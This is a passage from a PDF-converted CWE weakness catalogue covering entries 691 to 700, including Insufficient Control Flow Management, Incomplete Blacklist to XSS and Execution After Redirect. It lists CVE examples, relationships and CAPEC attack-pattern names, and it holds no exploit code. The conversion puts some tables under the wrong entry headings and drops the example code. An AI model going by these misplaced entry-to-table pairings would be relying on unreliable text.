If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return NULL. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-1054</td>
<td>URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference.</td>
</tr>
<tr>
<td>CVE-2006-2555</td>
<td>Parsing routine encounters NULL dereference when input is missing a colon separator.</td>
</tr>
<tr>
<td>CVE-2006-6227</td>
<td>Large message length field leads to NULL pointer dereference when malloc fails.</td>
</tr>
<tr>
<td>CVE-2008-1052</td>
<td>Large Content-Length value leads to NULL pointer dereference when malloc fails.</td>
</tr>
<tr>
<td>CVE-2008-5183</td>
<td>chain: unchecked return value can lead to NULL dereference</td>
</tr>
</tbody>
</table>

Relationships
CWE-691: Insufficient Control Flow Management

Description

Summary
The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Other
- Alter execution logic

Relationships
CWE Version 2.11
CWE-692: Incomplete Blacklist to Cross-Site Scripting

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>1000</td>
<td>Research Concepts</td>
<td>1413</td>
</tr>
</tbody>
</table>

**Relevant Properties**
- Validity

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>40</td>
<td>Insufficient Process Validation</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
</tr>
</tbody>
</table>

**Maintenance Notes**
This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the Research view (CWE-1000) before Draft 9 was released.

### CWE-692: Incomplete Blacklist to Cross-Site Scripting

**Compound Element ID:** 692 *(Compound Element Base: Chain)*

**Status:** Draft

**Description**

**Summary**
The product uses a blacklist-based protection mechanism to defend against XSS attacks, but the blacklist is incomplete, allowing XSS variants to succeed.

**Extended Description**
While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a blacklist cannot keep track of all the variations. The "XSS Cheat Sheet" [R.692.1] contains a large number of attacks that are intended to bypass incomplete blacklists.

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

- Confidentiality
- Integrity
- Availability

**Execute unauthorized code or commands**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-3617</td>
<td>Blacklist only removes &lt;SCRIPT&gt; tag.</td>
</tr>
<tr>
<td>CVE-2006-4308</td>
<td>Blacklist only checks &quot;javascript:&quot; tag</td>
</tr>
<tr>
<td>CVE-2007-5727</td>
<td>Blacklist only removes &lt;SCRIPT&gt; tag.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>184</td>
<td>Incomplete Blacklist</td>
<td>709</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>692</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>352</td>
</tr>
</tbody>
</table>

**Relevant Properties**
- Validity

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
</tr>
</tbody>
</table>

**References**

1076

# CWE-693: Protection Mechanism Failure

**Weakness ID:** 693 *(Weakness Class)*

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Summary</strong></td>
</tr>
<tr>
<td>The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Extended Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>This weakness covers three distinct situations. A &quot;missing&quot; protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An &quot;insufficient&quot; protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an &quot;ignored&quot; mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Time of Introduction</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Architecture and Design</td>
</tr>
<tr>
<td>• Implementation</td>
</tr>
<tr>
<td>• Operation</td>
</tr>
</tbody>
</table>

**Applicable Platforms**

<table>
<thead>
<tr>
<th>Languages</th>
</tr>
</thead>
<tbody>
<tr>
<td>• All</td>
</tr>
</tbody>
</table>

**Common Consequences**

<table>
<thead>
<tr>
<th>Access Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bypass protection mechanism</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>184</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>284</td>
<td>Improper Access Control</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>295</td>
<td>Improper Certificate Validation</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
</tbody>
</table>

**Page**

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>699</td>
<td>453</td>
<td>1003</td>
<td></td>
</tr>
<tr>
<td>888</td>
<td>1386</td>
<td>1000</td>
<td>18</td>
</tr>
<tr>
<td>1000</td>
<td>18</td>
<td>1003</td>
<td></td>
</tr>
<tr>
<td>1000</td>
<td>345</td>
<td>1000</td>
<td>350</td>
</tr>
<tr>
<td>1000</td>
<td>352</td>
<td>1000</td>
<td>352</td>
</tr>
<tr>
<td>1000</td>
<td>352</td>
<td>1000</td>
<td>352</td>
</tr>
<tr>
<td>1000</td>
<td>500</td>
<td>1000</td>
<td>522</td>
</tr>
<tr>
<td>1000</td>
<td>549</td>
<td>1000</td>
<td>573</td>
</tr>
<tr>
<td>1000</td>
<td>574</td>
<td>1000</td>
<td>601</td>
</tr>
<tr>
<td>1000</td>
<td>622</td>
<td>1000</td>
<td>622</td>
</tr>
<tr>
<td>1000</td>
<td>728</td>
<td>1000</td>
<td>949</td>
</tr>
<tr>
<td>1000</td>
<td>1012</td>
<td>1000</td>
<td>1014</td>
</tr>
<tr>
<td>1000</td>
<td>1016</td>
<td>1000</td>
<td>1017</td>
</tr>
</tbody>
</table>
CWE-694: Use of Multiple Resources with Duplicate Identifier

**Nature** | **Type** | **ID** | **Name** | **Page**
--- | --- | --- | --- | ---
ParentOf | 🟢 | 757 | Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') | 699 1155
ParentOf | 🟢 | 778 | Insufficient Logging | 1000 1196
ParentOf | 🟢 | 807 | Reliance on Untrusted Inputs in a Security Decision | 1000 1243
MemberOf | 🟢 | 1000 | Research Concepts | 1000 1413

**Research Gaps**

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Accessing Functionality Not Properly Constrained by ACLs</td>
<td></td>
</tr>
<tr>
<td>16</td>
<td>Dictionary-based Password Attack</td>
<td></td>
</tr>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
<td></td>
</tr>
<tr>
<td>20</td>
<td>Encryption Brute Forcing</td>
<td></td>
</tr>
<tr>
<td>22</td>
<td>Exploiting Trust in Client</td>
<td></td>
</tr>
<tr>
<td>36</td>
<td>Using Unpublished APIs</td>
<td></td>
</tr>
<tr>
<td>49</td>
<td>Password Brute Forcing</td>
<td></td>
</tr>
<tr>
<td>51</td>
<td>Poison Web Service Registry</td>
<td></td>
</tr>
<tr>
<td>55</td>
<td>Rainbow Table Password Cracking</td>
<td></td>
</tr>
<tr>
<td>57</td>
<td>Utilizing REST's Trust in the System Resource to Register Man in the Middle</td>
<td></td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
<td></td>
</tr>
<tr>
<td>65</td>
<td>Sniff Application Code</td>
<td></td>
</tr>
<tr>
<td>70</td>
<td>Try Common(default) Usernames and Passwords</td>
<td></td>
</tr>
<tr>
<td>74</td>
<td>Manipulating User State</td>
<td></td>
</tr>
<tr>
<td>87</td>
<td>Forceful Browsing</td>
<td></td>
</tr>
<tr>
<td>97</td>
<td>Cryptanalysis</td>
<td></td>
</tr>
<tr>
<td>103</td>
<td>Clickjacking</td>
<td></td>
</tr>
<tr>
<td>107</td>
<td>Cross Site Tracing</td>
<td></td>
</tr>
<tr>
<td>127</td>
<td>Directory Indexing</td>
<td></td>
</tr>
<tr>
<td>237</td>
<td>Calling Signed Code From Another Language Within A Sandbox Allow This</td>
<td></td>
</tr>
<tr>
<td>474</td>
<td>Signature Spoofing by Key Theft</td>
<td></td>
</tr>
<tr>
<td>475</td>
<td>Signature Spoofing by Improper Validation</td>
<td></td>
</tr>
<tr>
<td>477</td>
<td>Signature Spoofing by Mixing Signed and Unsigned Content</td>
<td></td>
</tr>
</tbody>
</table>

**Maintenance Notes**

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

**CWE-694: Use of Multiple Resources with Duplicate Identifier**

**Weakness ID:** 694 *(Weakness Base)* **Status:** Incomplete

**Description**

**Summary**

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

**Extended Description**

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**
CWE Version 2.11

CWE-695: Use of Low-Level Functionality

Languages
- Language-independent

Common Consequences
Access Control
Bypass protection mechanism
If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.

Other
Quality degradation

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-4787</td>
<td>chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>699</td>
<td>190</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>984</td>
<td>SFP Secondary Cluster: Life Cycle</td>
<td>888</td>
<td>1390</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>1000</td>
<td>193</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
<td>1000</td>
<td>780</td>
</tr>
</tbody>
</table>

Relationship Notes
This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

Relevant Properties
- Uniqueness

CWE-695: Use of Low-Level Functionality

Weakness ID: 695 (Weakness Base) Status: Incomplete

Description
Summary
The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

Extended Description
The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Other

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>699</td>
<td>1003</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-696: Incorrect Behavior Order

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>1001</td>
<td>SFP Secondary Cluster: Use of an Improper API</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>111</td>
<td>Direct Use of Unsafe JNI</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>245</td>
<td>J2EE Bad Practices: Direct Management of Connections</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>246</td>
<td>J2EE Bad Practices: Direct Use of Sockets</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>383</td>
<td>J2EE Bad Practices: Direct Use of Threads</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>574</td>
<td>EJB Bad Practices: Use of Synchronization Primitives</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>575</td>
<td>EJB Bad Practices: Use of AWT Swing</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>576</td>
<td>EJB Bad Practices: Use of Java I/O</td>
<td>699</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>36</td>
<td>Using Unpublished APIs</td>
<td></td>
</tr>
</tbody>
</table>

CWE-696: Incorrect Behavior Order

Weakness ID: 696 (Weakness Class)  Status: Incomplete

Description

Summary
The software performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

Time of Introduction
• Architecture and Design
• Implementation

Common Consequences
Integrity
Alter execution logic

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-1588</td>
<td>C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended</td>
</tr>
<tr>
<td>CVE-2007-5191</td>
<td>file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges</td>
</tr>
<tr>
<td>CVE-2017-6964</td>
<td>Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>POS36-C</td>
<td>Observe correct revocation order while relinquishing privileges</td>
</tr>
</tbody>
</table>
CWE-697: Insufficient Comparison

Description

Summary
The software compares two entities in a security-relevant context, but the comparison is insufficient, which may lead to resultant weaknesses.

Extended Description
This weakness class covers several possibilities:
- the comparison checks one factor incorrectly;
- the comparison should consider multiple factors, but it does not check some of those factors at all.

Time of Introduction
- Implementation

Common Consequences
Other
Other

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>184</td>
<td>Incomplete Blacklist</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>187</td>
<td>Partial Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>478</td>
<td>Missing Default Case in Switch Statement</td>
<td>1000</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>481</td>
<td>Assigning instead of Comparing</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>1000</td>
<td>Research Concepts</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC31-C</td>
<td>Ensure that return values are compared against the proper type</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC31-CPP</td>
<td>Ensure that return values are compared against the proper type</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Using Leading 'Ghost' Character Sequences to Bypass Input Filters</td>
</tr>
<tr>
<td>4</td>
<td>Using Alternative IP Address Encodings</td>
</tr>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
</tr>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
</tr>
</tbody>
</table>

(See CWE-697: Insufficient Comparison)
**CWE-698: Execution After Redirect (EAR)**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
</tr>
<tr>
<td>34</td>
<td>HTTP Response Splitting</td>
</tr>
<tr>
<td>41</td>
<td>Using Meta-characters in E-mail Headers to Inject Malicious Payloads</td>
</tr>
<tr>
<td>43</td>
<td>Exploiting Multiple Input Interpretation Layers</td>
</tr>
<tr>
<td>44</td>
<td>Overflow Binary Resource File</td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
</tr>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
</tr>
<tr>
<td>52</td>
<td>Embedding NULL Bytes</td>
</tr>
<tr>
<td>53</td>
<td>Postfix, Null Terminate, and Backslash</td>
</tr>
<tr>
<td>64</td>
<td>Using Slashes and URL Encoding Combined to Bypass Validation Logic</td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
</tr>
<tr>
<td>71</td>
<td>Using Unicode Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
</tr>
<tr>
<td>78</td>
<td>Using Escaped Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>80</td>
<td>Using UTF-8 Encoding to Bypass Validation Logic</td>
</tr>
<tr>
<td>88</td>
<td>OS Command Injection</td>
</tr>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
</tr>
<tr>
<td>174</td>
<td>Flash Parameter Injection</td>
</tr>
<tr>
<td>182</td>
<td>Flash Injection</td>
</tr>
<tr>
<td>267</td>
<td>Leverage Alternate Encoding</td>
</tr>
</tbody>
</table>

**Description**

**Summary**

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

**Alternate Terms**

Redirect Without Exit

**Time of Introduction**

- Implementation

**Common Consequences**

Other

Confidentiality

Integrity

Availability

Alter execution logic

Execute unauthorized code or commands

This weakness could affect the control flow of the application and allow execution of untrusted code.

**Detection Methods**

**Black Box**

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

**Demonstrative Examples**

This code queries a server and displays its status when a request comes from an authorized IP address.
This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2713</td>
<td>Remote attackers can obtain access to administrator functionality through EAR.</td>
</tr>
<tr>
<td>CVE-2007-4932</td>
<td>Remote attackers can obtain access to administrator functionality through EAR.</td>
</tr>
<tr>
<td>CVE-2007-5578</td>
<td>Bypass of authentication step through EAR.</td>
</tr>
<tr>
<td>CVE-2009-1936</td>
<td>chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</td>
</tr>
<tr>
<td>CVE-2013-1402</td>
<td>Execution-after-redirect allows access to application configuration details.</td>
</tr>
</tbody>
</table>

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
<td>627</td>
</tr>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>1000</td>
<td>1040</td>
</tr>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1000</td>
<td>1108</td>
</tr>
<tr>
<td>ChildOf</td>
<td>0</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
<td>1387</td>
</tr>
<tr>
<td>MemberOf</td>
<td>0</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

**References**

## Maintenance Notes

As of December 2016, this view is undergoing significant restructuring in its high-level parent/child relationships. The original categories in the top two or three levels of the hierarchy were based on Landwehr's taxonomy, which is not necessarily compatible with how developers wish to view or map to individual weaknesses and introduces unnecessary depth to the tree.

## CWE-700: Seven Pernicious Kingdoms

### Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

### View Data

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>98</td>
<td>1006</td>
</tr>
</tbody>
</table>

### View Audience

<table>
<thead>
<tr>
<th>Category</th>
<th>Count</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Assessment Vendors</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Developers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Vendors</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Educators</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### View Metrics

<table>
<thead>
<tr>
<th>Category</th>
<th>Count</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>8</td>
<td>245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>89</td>
<td>720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>1</td>
<td>8</td>
</tr>
</tbody>
</table>
Developers
